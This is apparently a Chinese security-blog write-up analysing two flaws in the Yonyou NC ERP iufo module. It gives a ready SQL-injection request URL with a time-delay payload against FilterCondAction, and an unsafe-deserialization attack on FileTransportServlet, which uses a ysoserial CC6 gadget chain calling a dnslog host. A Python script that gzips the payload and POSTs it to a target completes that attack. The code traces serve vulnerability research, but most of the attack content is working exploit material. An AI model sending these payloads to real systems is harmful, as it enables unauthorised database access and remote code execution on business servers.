guangen2026-02-28文章来源:SecHub网络安全社区
漏洞位置:nc\ui\bi\report\rep\FilterCondAction.class
public ActionForward execute(ActionForm actionForm) {
FilterCondForm form = (FilterCondForm)actionForm;
String repID = this.getRequestParameter("repID");
AdhocModel adhocModel = (AdhocModel)BIWebRepUtil.getRepModel(this, repID);
if (adhocModel == null) {
return new ErrorForward(StringResource.getStringResource("mbirep0007"));
} else {
form.setRepID(repID);
FilterValueDescriptor fvd = null;
IAdhocAnalyzer[] anas = adhocModel.getDataCenter().getAnalyzerModel().getAnalyzerByType(0);
if (anas != null && anas.length > 0) {
FilterValueAnalyzer fva = (FilterValueAnalyzer)anas[0];
if (fva.getFilterValueDescriptor() != null) {
try {
fvd = (FilterValueDescriptor)fva.getFilterValueDescriptor().clone();
} catch (CloneNotSupportedException e) {
AppDebug.debug(e);
}
}
}
if (fvd == null) {
fvd = new FilterValueDescriptor();
}
IColumnData[] refFields = this.getRefFields(repID);
if (refFields != null && refFields.length != 0) {
FilterCondTableModel model = new FilterCondTableModel(fvd, refFields);
form.setFilterCondTableModel(model);
this.addSessionObject(this.getClass().getName(), fvd);
ActionForward actionForward = new ActionForward(FilterCondDlg.class.getName());
return actionForward;
} else {
return new ErrorForward(StringResource.getStringResource("mbirep0008"));
}
}
}
看核心代码,repID接受传参

getRepModel与getRefFields进行调用

跟进getRepModel,loadRepModelFromDB库紧跟调用repID

继续跟进loadRepModelFromDB,getByIDs继续跟进

最终来到漏洞点
public ValueObject[] getByIDs(String[] strIDs) throws ReportMngException {
int iLen = strIDs == null ? 0 : strIDs.length;
String sWhere = null;
if (iLen != 0) {
StringBuffer sbWhere = new StringBuffer();
sbWhere.append("pk_reportmodel in (");
for(int i = 0; i < iLen; ++i) {
sbWhere.append("'").append(strIDs[i]).append("' ");
if (i < iLen - 1) {
sbWhere.append(",");
} else {
sbWhere.append(")");
}
}
sWhere = sbWhere.toString();
}
和VouchFormulaCopyActionsql注入相同漏洞方法,单引号+括号闭合导致,拼接字符串并且无预编译处理
NC路由规则:/service/~
识别模块:iufo
反射调用+sql拼接
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1');WAITFOR+DELAY+'0:0:5'--
漏洞路径:nc\ui\iufo\server\center\FileTransportServlet.class
public class FileTransportServlet extends HttpServlet {
private static final long serialVersionUID = -3409774309928672008L;
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
this.performTask(request, response);
} catch (Exception e) {
AppDebug.debug(e);
}
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
this.performTask(request, response);
} catch (Exception e) {
AppDebug.debug(e);
}
}
public void performTask(HttpServletRequest request, HttpServletResponse response) throws Exception {
GZIPInputStream input = new GZIPInputStream(request.getInputStream());
GZIPOutputStream output = new GZIPOutputStream(response.getOutputStream());
ObjectOutputStream objOut = new ObjectOutputStream(output);
ObjectInputStream objInput = new ObjectInputStream(input);
FileTransportVO transVO = (FileTransportVO)objInput.readObject();
UnitInfoVO unitInfo = IUFOUICacheManager.getSingleton().getUnitCache().getUnitInfoByCode(transVO.getUnitCode());
if (unitInfo != null) {
String strUnitID = unitInfo.getPK();
ImportFileUtil.importFileByUnit(request.getSession().getId(), transVO.getContent(), strUnitID, transVO.getLangCode());
objOut.writeObject((Object)null);
} else {
objOut.writeObject(new UfoException("miufoexpnew00034", new String[]{transVO.getUnitCode()}));
}
objInput.close();
objOut.close();
input.close();
output.close();
}
}
.readObject()->反序列化对象的方法
.writeObject()->序列化对象的方法
核心代码
GZIPInputStream input = new GZIPInputStream(request.getInputStream()); #解压缩客户端发送的GZIP数据
GZIPOutputStream output = new GZIPOutputStream(response.getOutputStream()); #压缩响应数据返回客户端
ObjectOutputStream objOut = new ObjectOutputStream(output); #序列化Java对象到输出流
ObjectInputStream objInput = new ObjectInputStream(input); #反序列化输入流到Java对象
重点是没有对数据流做限制,直接将其反序列化操作
FileTransportVO transVO = (FileTransportVO)objInput.readObject();
使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中


编写python脚本读取c.bin文件内容
import requests
import gzip
# 读取本地文件bin的内容
with open("c.bin", "rb") as f:
content = f.read()
# 对内容进行 GZIP 压缩
compressed_content = gzip.compress(content)
# 目标 URL
url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet"
# 发送 POST 请求
try:
response = requests.post(url=url, data=compressed_content)
print("Response Status Code:", response.status_code)
print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
print("An error occurred:", e)